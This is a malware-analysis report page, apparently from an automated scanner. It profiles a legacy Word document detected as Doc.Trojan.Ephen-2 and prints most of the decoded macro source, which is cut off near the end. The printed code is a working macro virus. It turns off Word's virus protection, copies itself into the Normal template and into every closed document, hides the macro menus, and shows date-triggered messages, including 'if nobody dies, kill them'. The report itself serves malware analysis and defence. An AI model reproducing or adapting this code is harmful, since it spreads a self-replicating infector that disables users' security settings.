MALICIOUS
240
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a legacy Word document containing a WordBasic macro triggered by the AutoOpen event. This macro attempts to disable macro security features and install itself into the Normal template, indicating a downloader or dropper functionality. The ClamAV detection of 'Doc.Trojan.Ephen-2' further supports its malicious nature.
Heuristics 5
-
ClamAV: Doc.Trojan.Ephen-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Ephen-2
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5241 bytes |
SHA-256: 6d7b070d5ef32473de9bd94922a423a0f6fe83cc3e5db7ca1ea52090e731adf3 |
|||
|
Detection
ClamAV:
Doc.Trojan.Ephen-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "anjing"
Sub AutoOpen()
' bagabs by ephen 01/31/98
' On Error GoTo bagabs
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
GlobalDoc = NormalTemplate
GlobalInstalled = False
For f = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(f).Name = "bagabs" Then
NormalTemplate.VBProject.VBComponents.Remove NormalTemplate.VBProject.VBComponents.Item(f)
If NormalTemplate.Saved = False Then
NormalTemplate.Save
End If
End If
Next
For f = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(f).Name = "Anjing" Then
GlobalInstalled = True
End If
Next
If GlobalInstalled = False Then
Application.OrganizerCopy _
Source:=ActiveDocument.FullName, _
Destination:=NormalTemplate.FullName, _
Name:="Anjing", _
Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
CommandBars("Tools").Controls("Macro").Enabled = False
For s = 13 To 16
CommandBars("Tools").Controls(s).Enabled = False
Next
End If
If Day(Now()) = 5 And Month(Now()) = 7 Then
With Assistant.NewBalloon
.Icon = msoIconTip
.Text = "Praise the Lord ! Now and forever . . ." + Chr(13) + Chr(13) + _
"Thank's for Your blessing in all my life . . ."
.Heading = "ephen"
.Animation = 102
.Show
End With
End If
If Day(Now()) = 5 And Month(Now()) = 8 Then
With Assistant.NewBalloon
.Icon = msoIconTip
.Text = "When Someone's born someone dies . . ." + Chr(13) + Chr(13) + _
"if nobody dies, kill them . . ."
.Heading = "Message from Grace"
.Animation = 102
.Show
End With
End If
If Day(Now()) = 6 And Month(Now()) = 8 Then
With Assistant.NewBalloon
.Icon = msoIconTip
.Text = "When Someone's born someone dies . . ." + Chr(13) + Chr(13) + _
"if nobody dies, kill them . . ."
.Heading = "Message from Grace Maringka"
.Animation = 102
.Show
End With
End If
If WeekDay(Now()) = Int(Rnd() * 7 + 1) Then
With Assistant.NewBalloon
.Icon = msoIconTip
.Text = "Minahasa:" + Chr(13) + " Si Tou Timou Tumou Tou..." + Chr(13) + Chr(13) + _
"bukang" + Chr(13) + " Si Tou Timou Tumongko' Tou..."
.Heading = "bagabs manguni"
.Animation = 114
.Show
End With
End If
If WeekDay(Now()) = Int(Rnd() * 7 + 1) Then
With Assistant.NewBalloon
.Icon = msoIconTip
.Text = "Anti Anjing" + Chr(13) + Chr(13) + " piara sendiri tu anjing . . ."
.Heading = "Anti anjing"
.Animation = 116
.Show
End With
End If
bagabs:
End Sub
Sub AutoClose()
' bagabs by ephen 01/31/98
On Error GoTo bagabs
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
ActiveDoc = ActiveDocument
DocumentInstalled = False
For m = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(m).Name = "bagabs" Then
' DocumentInstalled = True
ActiveDocument.VBProject.VBComponents.Remove ActiveDocument.VBProject.VBComponents.Item(m)
End If
Next
For m = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(m).Name = "Anjing" Then
DocumentInstalled = True
End If
Next
If DocumentInstalled = False Then
Application.OrganizerCopy _
Source:=NormalTemplate.FullName, _
Destination:=ActiveDocument.FullName, _
Name:="Anjing", _
Object:=wdOrganizerObjectProjectItems
End If
If Day(Now()) = 5 And Month(Now()) = 7 Then
With Assistant.NewBalloon
.Icon = msoIconTip
.Text = "Thank's 4 your attention .
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.